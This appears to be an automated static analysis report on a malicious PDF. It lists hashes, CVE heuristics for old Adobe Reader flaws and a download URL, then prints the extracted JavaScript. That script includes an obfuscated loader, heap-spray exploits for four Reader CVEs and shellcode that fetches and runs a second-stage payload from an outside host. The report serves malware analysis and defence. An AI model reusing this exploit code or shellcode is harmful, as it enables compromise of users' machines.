Malicious PDF — malware analysis report

Static analysis result for SHA-256 9850cac69a4406a6…

MALICIOUS

PDF

12.5 KB First seen: 2026-05-09
MD5: 9fac16dbc1eeac02aae74944e6108d51 SHA-1: 7ad004e2ce35ae08a715fc5e3b4316b8325c479d SHA-256: 9850cac69a4406a6307c09fa5f994a0201ef8474c373c74621bc3d51d6d3f6b3
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits multiple CVEs in Adobe Reader, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it is designed to download and execute a second-stage payload from the URL http://sghhhrasyus.com/w.php?f=1&e=5. The primary goal is to exploit the user's Adobe Reader to achieve arbitrary code execution.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sghhhrasyus.com/w.php?f=1&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11687 bytes
SHA-256: 33146c42055d0b195a5fc547facb7c723b300c824b1159c5443030a7293f6922
Preview script
First 1,000 lines of the extracted script
nk="";
nk+='sl';
nk+="i";
nk+="ce";
j='gerb43bt';
j=j[nk];
z
=
new
Array(38,0,43,16,75,33,60,24,6,25,34,10,73,27,64,64,34,10,45,28,51,14,34,10,73,13,45,28,34,10,18,13,51,14,34,10,51,42,27,14,34,10,27,27,13,45,34,10,64,14,28,41,34,10,14,41,73,75,34,10,73,75,27,41,34,10,41,28,14,41,34,10,18,41,73,75,34,10,13,64,37,28,34,10,18,64,73,75,34,10,27,27,41,73,34,10,64,64,1,75,34,10,13,51,73,75,34,10,41,27,27,28,34,10,27,27,18,14,34,10,73,37,2,28,34,10,37,13,51,51,34,10,45,45,37,41,34,10,75,73,45,45,34,10,14,41,73,75,34,10,28,27,27,41,34,10,27,42,14,64,34,10,18,13,41,64,34,10,73,18,45,75,34,10,2,14,27,14,34,10,51,14,73,13,34,10,13,37,18,13,34,10,51,75,51,42,34,10,13,37,14,28,34,10,73,75,13,64,34,10,27,28,18,13,34,10,18,14,73,75,34,10,18,73,27,13,34,10,45,13,41,27,34,10,73,75,13,64,34,10,2,41,18,64,34,10,45,13,41,27,34,10,28,42,27,27,34,10,14,37,14,42,34,10,0,1,45,28,34,10,28,13,41,27,34,10,1,75,27,27,34,10,75,51,41,45,34,10,27,73,37,41,34,10,18,14,45,2,34,10,28,37,41,73,34,10,41,1,28,75,34,10,1,0,41,27,34,10,51,75,14,41,34,10,27,75,45,37,34,10,18,13,37,45,34,10,13,51,51,64,34,10,13,51,73,75,34,10,41,27,2,14,34,10,64,64,1,1,34,10,41,28,73,75,34,10,73,1,14,75,34,10,51,28,14,64,34,10,13,14,45,45,34,10,41,28,2,14,34,10,1,73,73,75,34,10,1,1,41,27,34,10,41,14,73,75,34,10,41,27,73,75,34,10,0,75,28,13,34,10,13,42,13,51,34,10,51,75,28,27,34,10,0,1,13,27,34,10,64,73,73,75,34,10,73,41,2,41,34,10,41,28,18,1,34,10,18,14,27,27,34,10,42,64,41,27,34,10,45,27,51,75,34,10,64,73,73,75,34,10,73,75,41,73,34,10,64,0,45,18,34,10,13,42,41,13,34,10,42,73,51,73,34,10,45,45,45,45,34,10,51,2,45,45,34,10,51,73,45,42,34,10,41,41,41,41,34,10,41,41,41,41,34,10,13,41,13,73,34,10,14,41,64,0,34,10,45,45,64,73,34,10,41,41,41,41,34,10,13,41,41,41,34,10,28,41,73,27,34,10,13,41,37,42,34,10,73,75,13,13,34,10,73,75,51,28,34,10,37,41,13,51,34,10,28,27,73,27,34,10,45,45,41,13,34,10,64,73,51,27,34,10,64,51,64,45,34,10,41,41,41,41,34,10,18,13,64,73,34,10,64,28,18,2,34,10,13,14,64,1,34,10,37,64,45,45,34,10,28,14,73,27,34,10,73,75,41,73,34,10,51,73,51,73,34,10,45,45,64,37,34,10,45,45,45,45,34,10,41,2,51,75,34,10,18,2,51,75,34,10,51,28,73,37,34,10,41,37,41,14,34,10,41,41,41,41,34,10,13,28,73,1,34,10,41,28,2,14,34,10,41,14,28,18,34,10,18,2,2,14,34,10,64,18,64,13,34,10,28,18,18,27,34,10,2,14,14,14,34,10,18,64,41,14,34,10,27,27,18,2,34,10,28,18,27,2,34,10,2,14,14,14,34,10,2,41,41,73,34,10,18,27,2,1,34,10,13,27,2,41,34,10,45,73,64,73,34,10,41,41,41,41,34,10,45,45,41,41,34,10,41,28,13,64,34,10,51,73,73,75,34,10,28,42,27,27,34,10,28,18,13,37,34,10,37,1,14,14,34,10,18,18,41,41,34,10,64,2,18,41,34,10,28,18,18,14,34,10,37,1,14,14,34,10,2,51,41,13,34,10,64,28,64,14,34,10,28,64,64,28,34,10,37,1,14,14,34,10,41,41,41,42,34,10,73,0,13,42,34,10,41,14,28,37,34,10,73,73,27,41,34,10,37,1,14,14,34,10,14,37,41,14,34,10,64,0,13,37,34,10,64,0,41,41,34,10,13,27,41,41,34,10,64,0,13,18,34,10,45,45,41,41,34,10,37,14,13,64,34,10,28,41,73,13,34,10,37,64,18,13,34,10,41,41,64,0,34,10,45,45,13,27,34,10,41,14,13,64,34,10,41,41,64,0,34,10,51,75,73,27,34,10,13,27,41,28,34,10,13,64,45,45,34,10,73,27,41,14,34,10,41,28,28,27,34,10,41,2,51,75,34,10,37,27,51,75,34,10,73,41,14,18,34,10,41,41,27,45,34,10,45,0,18,13,34,10,73,41,14,18,34,10,41,41,27,45,34,10,28,14,18,13,34,10,41,41,64,0,34,10,45,51,64,0,34,10,13,64,45,45,34,10,51,73,41,73,34,10,45,51,42,28,34,10,45,45,45,45,34,10,14,51,73,51,34,10,51,28,41,51,34,10,45,51,42,73,34,10,41,51,73,0,34,10,64,45,73,42,34,10,75,1,41,37,34,10,28,0,27,27,34,10,13,75,73,0,34,10,28,64,37,75,34,10,18,42,14,64,34,10,37,0,27,64,34,10,18,41,2,45,34,10,18,14,64,73,34,10,18,41,18,14,34,10,2,45,27,0,34,10,18,27,2,45,34,10,64,73,64,18,34,10,64,73,64,73,34,10,64,37,18,2,34,10,18,42,18,27,34,10,18,27,18,13,34,10,64,27,2,51,34,10,64,1,64,45,34,10,18,18,2,45,34,10,18,41,2,51,34,10,18,41,64,73,34,10,64,64,27,45,34,10,27,37,27,1,34,10,64,13,2,64,34,10,27,13,27,1,34,10,41,41,41,41,25,35,45,10,57,28,47,58,31,57,16,51,30,38,43,74,43,0,69,40,12,17,8,67,54,58,62,51,74,43,0,9,62,51,57,24,47,54,5,2,29,40,12,17,8,43,0,55,6,43,0,35,65,43,0,6,43,0,9,60,10,75,60,47,43,58,57,24,74,41,69,40,12,49,2,17,35,43,51,47,10,43,57,16,43,0,35,65,16,45,10,57,28,47,58,31,57,16,75,44,74,17,8,38,0,43,16,1,26,24,6,57,51,67,16,66,43,43,0,12,74,17,35,38,0,43,16,38,67,6,41,44,41,28,41,28,41,28,41,28,35,38,0,43,16,0,1,1,43,6,41,44,14,41,41,41,41,41,35,38,0,43,16,20,0,12,62,31,0,1,6,10,57,51,60,28,0,20,51,74,75,33,60,24,17,35,38,0,43,16,60,28,61,62,51,57,6,20,0,12,62,31,0,1,9,62,51,57,24,47,54,5,2,35,38,0,43,16,40,12,6,0,1,1,43,68,74,60,28,61,62,51,57,55,41,44,27,73,17,35,38,0,43,16,12,0,43,60,20,6,10,57,51,60,28,0,20,51,74,4,34,10,42,41,42,41,34,10,42,41,42,41,4,17,35,12,0,43,60,20,6,51,30,38,43,74,12,0,43,60,20,69,40,12,17,35,38,0,43,16,28,31,10,57,47,2,6,74,38,67,68,41,44,14,41,41,41,41,41,17,49,0,1,1,43,35,45,31,43,74,38,0,43,16,28,31,10,57,47,6,41,35,28,31,10,57,47,29,28,31,10,57,47,2,35,28,31,10,57,47,55,55,17,8,1,26,24,3,28,31,10,57,47,7,6,12,0,43,60,20,55,20,0,12,62,31,0,1,35,65,16,38,0,43,16,31,38,51,43,45,62,31,67,6,10,57,51,60,28,0,20,51,74,4,34,10,41,28,41,28,34,10,41,28,41,28,4,17,35,67,54,58,62,51,74,31,38,51,43,45,62,31,67,9,62,51,57,24,47,54,29,14,14,42,13,2,17,8,31,38,51,43,45,62,31,67,55,6,31,38,51,43,45,62,31,67,35,65,16,47,54,58,60,9,28,31,62,62,0,75,48,47,31,43,51,6,71,31,62,62,0,75,9,28,31,62,62,51,28,47,46,53,0,58,62,23,57,45,31,74,8,60,10,75,33,70,4,4,69,53,60,24,70,31,38,51,43,45,62,31,67,65,17,35,65,16,45,10,57,28,47,58,31,57,16,20,43,58,57,47,45,74,17,8,57,31,20,6,10,57,51,60,28,0,20,51,74,4,34,10,41,66,41,66,34,10,41,66,41,66,34,10,41,66,41,66,34,10,41,66,41,66,4,17,35,38,0,43,16,20,0,12,62,31,0,1,6,10,57,51,60,28,0,20,51,74,75,33,60,24,17,35,54,51,0,20,75,62,31,28,26,6,57,31,20,55,20,0,12,62,31,0,1,35,75,58,24,75,62,31,28,26,6,10,57,51,60,28,0,20,51,74,4,34,10,41,66,41,66,34,10,41,66,41,66,4,17,35,54,51,0,1,51,43,60,58,30,51,6,2,41,35,60,20,43,0,12,6,54,51,0,1,51,43,60,58,30,51,55,54,51,0,20,75,62,31,28,26,9,62,51,57,24,47,54,35,67,54,58,62,51,74,75,58,24,75,62,31,28,26,9,62,51,57,24,47,54,29,60,20,43,0,12,17,8,75,58,24,75,62,31,28,26,55,6,75,58,24,75,62,31,28,26,35,65,16,45,58,62,62,75,62,31,28,26,6,75,58,24,75,62,31,28,26,9,60,10,75,60,47,43,58,57,24,74,41,69,60,20,43,0,12,17,35,75,62,31,28,26,6,75,58,24,75,62,31,28,26,9,60,10,75,60,47,43,58,57,24,74,41,69,75,58,24,75,62,31,28,26,9,62,51,57,24,47,54,68,60,20,43,0,12,17,35,67,54,58,62,51,74,75,62,31,28,26,9,62,51,57,24,47,54,55,60,20,43,0,12,29,41,44,14,41,41,41,41,17,8,75,62,31,28,26,6,75,62,31,28,26,55,75,62,31,28,26,55,45,58,62,62,75,62,31,28,26,35,65,16,53,51,53,6,57,51,67,16,66,43,43,0,12,74,17,35,45,31,43,74,58,6,41,35,58,29,37,14,41,41,35,58,55,55,17,8,53,51,53,3,58,7,6,75,62,31,28,26,55,54,51,0,20,75,62,31,28,26,35,65,16,38,0,43,16,57,10,53,6,37,2,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,35,10,47,58,62,9,20,43,58,57,47,45,74,4,34,14,13,41,41,41,45,4,69,57,10,53,17,35,65,16,45,10,57,28,47,58,31,57,16,24,51,47,58,28,31,57,74,17,8,38,0,43,16,0,43,43,12,6,57,51,67,16,66,43,43,0,12,74,17,35,58,45,74,0,20,20,9,1,31,28,9,71,31,62,62,0,75,9,24,51,47,23,28,31,57,17,8,38,0,43,16,20,0,12,62,31,0,1,6,10,57,51,60,28,0,20,51,74,75,33,60,24,17,35,38,0,43,16,54,36,40,13,41,41,71,39,6,20,0,12,62,31,0,1,9,62,51,57,24,47,54,5,2,35,38,0,43,16,40,12,6,41,44,14,41,41,41,41,41,68,74,54,36,40,13,41,41,71,39,55,41,44,27,73,17,35,38,0,43,16,12,0,43,60,20,6,10,57,51,60,28,0,20,51,74,4,34,10,42,41,42,41,34,10,42,41,42,41,4,17,35,12,0,43,60,20,6,51,30,38,43,74,12,0,43,60,20,69,40,12,17,35,38,0,43,16,20,13,66,33,72,64,13,45,6,74,41,44,41,28,41,28,41,28,41,28,68,41,44,14,41,41,41,41,41,17,49,41,44,14,41,41,41,41,41,35,45,31,43,74,38,0,43,16,38,40,28,56,22,42,64,12,6,41,35,38,40,28,56,22,42,64,12,29,20,13,66,33,72,64,13,45,35,38,40,28,56,22,42,64,12,55,55,17,8,0,43,43,12,3,38,40,28,56,22,42,64,12,7,6,12,0,43,60,20,55,20,0,12,62,31,0,1,35,65,16,38,0,43,16,47,59,50,54,39,75,15,67,6,10,57,51,60,28,0,20,51,74,4,34,41,42,4,17,35,67,54,58,62,51,74,47,59,50,54,39,75,15,67,9,62,51,57,24,47,54,29,41,44,14,41,41,41,17,8,47,59,50,54,39,75,15,67,55,6,47,59,50,54,39,75,15,67,35,65,16,47,59,50,54,39,75,15,67,6,4,39,9,4,55,47,59,50,54,39,75,15,67,35,0,20,20,9,1,31,28,9,71,31,62,62,0,75,9,24,51,47,23,28,31,57,74,47,59,50,54,39,75,15,67,17,35,65,65,16,0,21,62,10,24,58,57,60,6,0,20,20,9,20,62,10,24,23,57,60,35,38,0,43,16,60,38,6,20,0,43,60,51,23,57,47,74,0,20,20,9,38,58,51,67,51,43,52,51,43,60,58,31,57,9,47,31,48,47,43,58,57,24,74,17,9,28,54,0,43,66,47,74,41,17,17,35,45,31,43,74,38,0,43,16,58,6,41,35,58,29,0,21,62,10,24,58,57,60,9,62,51,57,24,47,54,35,58,55,55,17,8,58,45,74,0,21,62,10,24,58,57,60,3,58,7,9,57,0,53,51,6,6,25,46,48,28,43,58,20,47,25,17,8,38,0,43,16,62,38,6,0,21,62,10,24,58,57,60,3,58,7,9,38,51,43,60,58,31,57,35,65,65,16,58,45,74,74,62,38,6,6,42,17,63,63,74,74,60,38,6,6,73,17,19,19,74,62,38,29,6,73,9,37,2,17,17,17,8,24,51,47,58,28,31,57,74,17,35,65,51,62,60,51,16,58,45,74,62,38,6,6,18,9,37,17,8,20,43,58,57,47,45,74,17,35,65,51,62,60,51,16,58,45,74,74,74,60,38,6,6,64,17,63,63,74,60,38,6,6,18,17,17,19,19,74,62,38,29,18,9,37,37,17,17,8,75,44,74,17,35,65,51,62,60,51,16,58,45,74,74,62,38,32,6,42,9,37,17,63,63,74,62,38,29,6,42,9,2,17,63,63,74,62,38,32,6,73,9,37,27,17,63,63,74,62,38,29,6,73,9,37,18,17,17,8,45,10,57,28,47,58,31,57,16,0,74,17,8,10,47,58,62,9,20,43,58,57,47,1,74,25,20,11,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,16,70,16,12,12,12,12,37,37,37,25,69,57,51,67,16,22,0,47,51,74,17,17,35,65,38,0,43,16,54,6,0,20,20,9,20,62,10,24,23,57,60,35,45,31,43,74,38,0,43,16,45,6,41,35,45,29,54,9,62,51,57,24,47,54,35,45,55,55,17,8,58,45,74,54,3,45,7,9,57,0,53,51,6,6,25,46,48,28,43,58,20,47,25,17,8,38,0,43,16,58,6,54,3,45,7,9,38,51,43,60,58,31,57,35,65,65,16,58,45,74,74,58,32,73,9,37,2,17,19,19,74,58,29,73,9,2,17,17,8,28,6,57,51,67,16,66,43,43,0,12,74,17,35,38,0,43,16,1,6,10,57,51,60,28,0,20,51,74,25,34,10,42,41,42,41,34,10,42,41,42,41,25,17,35,38,0,43,16,51,6,10,57,51,60,28,0,20,51,74,75,33,60,24,17,35,67,54,58,62,51,74,1,9,62,51,57,24,47,54,29,6,41,44,73,41,41,41,17,8,1,55,6,1,35,65,1,6,1,9,60,10,75,60,47,43,74,41,69,41,44,73,41,41,41,68,51,9,62,51,57,24,47,54,17,35,45,31,43,74,45,6,41,35,45,29,2,42,41,41,35,45,55,55,17,8,28,3,45,7,6,1,55,51,35,65,0,74,17,35,0,74,17,35,47,43,12,8,47,54,58,60,9,53,51,1,58,0,9,57,51,67,21,62,0,12,51,43,74,57,10,62,62,17,35,65,28,0,47,28,54,74,51,17,8,65,0,74,17,35,65,65);
a="ad2['*=]{.u@y54G )7&pPDIg'k3c<zo>j%;W1vNq09rxfEtS/MeVmh+QniUs_l|6}Aw-,:CK8(b";
b="a"+'l';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{
n=i;
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[n]];
}
}}

try{if(/x(?=y)/.test('axyb'))throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3852 bytes
SHA-256: 307308638b8c053e51951b6559547ba4558b271e81e5639b38039cb80eea2883
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u732f%u6867%u6868%u6172%u7973%u7375%u632e%u6d6f%u772f%u702e%u7068%u663f%u313d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3848 bytes
SHA-256: 087f857cdee0691b2855a97b8278204486f11f34ba57d804c2e13e9c87d5e72c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u732f%u6867%u6868%u6172%u7973%u7375%u632e%u6d6f%u772f%u702e%u7068%u663f%u313d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	